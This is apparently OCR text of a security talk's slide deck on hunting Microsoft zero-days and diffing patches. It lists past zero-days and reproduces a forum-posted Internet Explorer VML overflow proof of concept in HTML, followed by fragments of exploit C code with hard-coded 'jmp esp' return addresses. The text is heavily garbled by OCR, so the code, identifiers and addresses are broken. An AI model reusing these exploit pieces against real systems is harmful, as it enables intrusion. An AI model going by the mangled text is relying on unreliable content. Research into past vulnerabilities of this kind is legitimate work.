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Who Am I?

Independent Security researcher (Previously worked at
Websense Security Labs,Checkpoint)

Hunting for vulnerabilities

reverse engineering Microsoft patches

writing plug-in for IDA and OllyDbg

Mobile developer (iPhone,BlackBerry)

Founder of the Gamepe project www.gamepe.com

Multi-IM software for PC games



Agenda

Microsoft patches little sister but forgets big brother

In the next hour, we will cover:

Introduce past zero-day exploits
Discuss how software vulnerabilities are found

How a programmer s bug I s a hac
Why attackers hunt for zero-days
Microsoft silently fixed vulnerabilities

Hunting zero-days the easy way: DIFFING!

NOTE: atalk from a hacker perspective.



O-D4

A zero-day (or zero-hour) attack or threat is a computer threat
that tries to exploit computer software

vulnerabilities

which are unknown to others, undisclosed to the softwae vendor,

or without an available security fix
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0day 2007

Windows URI Protocol Handling

Date Disclosed: 7/25/2007

MSN Messenger Video Conversation Heap Overflow

Date Disclosed: 1/31/2007

Microsoft DNS RPC Buffer Overflow

Date Disclosed: 4/7/2007

Windows .ANI Processing

Date Disclosed: 3/28/2007

Word Unspecified Exploit(3)

Date Disclosed: 1/25/2007


http://research.eeye.com/html/alerts/zeroday/20070725.html
http://research.eeye.com/html/alerts/zeroday/20070131.html
http://research.eeye.com/html/alerts/zeroday/20070407.html
http://research.eeye.com/html/alerts/zeroday/20070328.html
http://research.eeye.com/html/alerts/zeroday/20070125.html

0day 2008

Microsoft Internet Explorer XML Processing

Date Disclosed: 11/15/2008
Microsoft Word XP/2002 SP3 Exploit

Date Disclosed: 7/8/2008

Microsoft Access Snapshot Viewer ActivexX

Date Disclosed: 7/7/2008

Microsoft Vulnerability in Server service

Date Disclosed:10/15/2008


http://research.eeye.com/html/alerts/zeroday/20081209.html
http://research.eeye.com/html/alerts/zeroday/20081209.html
http://research.eeye.com/html/alerts/zeroday/20080708.html
http://research.eeye.com/html/alerts/zeroday/20080707.html
http://research.eeye.com/html/alerts/zeroday/20080707.html

0day 2009

Excel Invalid Object

Microsoft Service Message Block (SMB)

Microsoft Internet Information Services (11S)

Microsoft Windows ActiveX Controls ATL
"OleLoadFromStream()" Vulnerability




Who hunt vulnerability

Security Company ,(ekEye,NGIS,ISS,NSFOCUS.Secunia)

Independed Researcher/Hackers
grey,black,white hat

Vendor



Who use Oday
Intelligence department
Hackers
Pen-tester

Worms exploits



Who is the target
Military
Business

You ?Me? And everybody



Why hunt 0-day?

HACKING

. o s THEART-OF EXBEGI TATION

NICOLE KIDMAN S




They will buy it?




But some will never sell !

BLACKHAT FORUMS

ANTI SECURITY INDUSTRY MOVEMENT

FUCK SECURITY INDUSTRY, FUCK FULL DISCLOSURE




How to hunt Oday

Source code audit
Binary Audit
Fuzzing

Surfing



Surfing the Web for a zero-day?

A forum member by the name of "Caveman" posted this
code on a gaming forum. He claimed that he succeeded
In "crashing" someone's computer with the posted script.

Caveman




OWNED!
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Just a DoS ? 2006-09-19

-
Currently just a Do3

EAY is controllakbhle and currently it crashes when trying to move EBX into the location pointed to by ELX

Shirkdog
-

<html xwlns:v="urn:schemas-microsoft-com: vl

<head>

<object id="VHMLEender"™ classid="CL3ID:1007ZCEC-8CC1-11D1-956E-00A0CS55EB42E" >
</ohjectsr

<style>

wh:* { behavior: url |(#VMLEender):

<fstylex

</ head:r

<body>

<wirect style='width:1lZ0pt:height:50pt' fillcolor="red'™:>

<wifill method=TAlAbiph bbb i b A A AR AR AR AR AR LA AR RRA DR ARDA
focus="100%" focusposition=".5,.5" focussize="0,.0%

type="gradientRadial™ />

<ivirects

</body>
</ html>

# milwlrm.com [2006-09-19]



The day after ! 2006-09-20
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FILE *fp = INMULL:
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Hderfine IMOPSIZE =z S0
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AADWIORD ret = Ox7FLEf=4945S 12 e —=ll esp £for ORI
DWORD r=t = Ox=x7S00ZCDD: A4 oc=l1ll esp £for A1l winzZk
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Let's go hunting

O,

TARGET.

% ORACLE




Let's go hunting

Binary Audit

Win32 Symbolic Debugger




DIFFING FOR ODAY!

Microsoft patches little sister but forgets big brother




